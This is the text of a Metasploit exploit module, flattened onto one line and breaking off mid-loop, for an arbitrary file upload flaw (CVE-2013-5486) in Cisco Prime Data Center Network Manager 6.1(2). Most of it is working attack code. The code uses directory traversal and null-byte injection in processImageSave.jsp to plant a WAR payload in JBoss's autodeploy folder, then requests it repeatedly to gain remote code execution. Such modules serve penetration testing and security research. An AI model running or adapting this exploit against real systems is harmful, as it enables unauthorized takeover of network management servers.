Cisco Prime Data Center Network Manager – Arbitrary File Upload (Metasploit)

The vulnerability exists in processImageSave.jsp, which can be abused through a directory traversal and a null byte injection to upload arbitrary files. The autodeploy JBoss application server feature is used to achieve remote code execution. This module has been tested successfully on Cisco Prime Data Center Network Manager 6.1(2) on Windows 2008 R2 (64 bits). }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-5486'], [ 'OSVDB', '97426' ], [ 'ZDI', '13-254' ], [ 'URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130918-dcnm' ] ], 'Privileged' => true, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Cisco DCNM 6.1(2) / Java Universal', { 'AutoDeployPath' => "../../../../../deploy", 'CleanupPath' => "../../jboss-4.2.2.GA/server/fm/deploy" } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 18 2013')) register_options( [ OptString.new('TARGETURI', [true, 'Path to Cisco DCNM', '/']), OptInt.new('ATTEMPTS', [true, 'The number of attempts to execute the payload (auto deployed by JBoss)', 10]) ], self.class) end def upload_file(location, filename, contents) res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, "cues_utility", "charts", "processImageSave.jsp"), 'method' => 'POST', 'encode_params' => false, 'vars_post' => { "mode" => "save", "savefile" => "true", "chartid" => "#{location}/#{filename}%00", "data" => Rex::Text.uri_encode(Rex::Text.encode_base64(contents)) } }) if res and res.code == 200 and res.body.to_s =~ /success/ return true else return false end end def check version = "" res = send_request_cgi({ 'url' => target_uri.to_s, 'method' => 'GET' }) unless res return Exploit::CheckCode::Unknown end if res.code == 200 and res.body.to_s =~ /Data Center Network Manager/ and res.body.to_s =~ /<div class="productVersion">Version: (.*)<\/div>/ version = $1 print_status("Cisco Primer Data Center Network Manager version #{version} found") elsif res.code == 200 and res.body.to_s =~ /Data Center Network Manager/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end if version =~ /6\.1/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit attempts = datastore['ATTEMPTS'] fail_with(Failure::BadConfig, "#{peer} - Configure 1 or more ATTEMPTS") unless attempts > 0 app_base = rand_text_alphanumeric(4+rand(32-4)) # By default uploads land here: C:\Program Files\Cisco Systems\dcm\jboss-4.2.2.GA\server\fm\tmp\deploy\tmp3409372432509144123dcm-exp.war\cues_utility\charts # Auto deploy dir is here C:\Program Files\Cisco Systems\dcm\jboss-4.2.2.GA\server\fm\deploy # Sessions pwd is here C:\Program Files\Cisco Systems\dcm\fm\bin war = payload.encoded_war({ :app_name => app_base }).to_s war_filename = "#{app_base}.war" war_location = target['AutoDeployPath'] print_status("#{peer} - Uploading WAR file #{war_filename}...") res = upload_file(war_location, war_filename, war) if res register_files_for_cleanup("#{target['CleanupPath']}/#{war_filename}") else fail_with(Failure::Unknown, "#{peer} - Failed to upload the WAR payload") end attempts.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure.
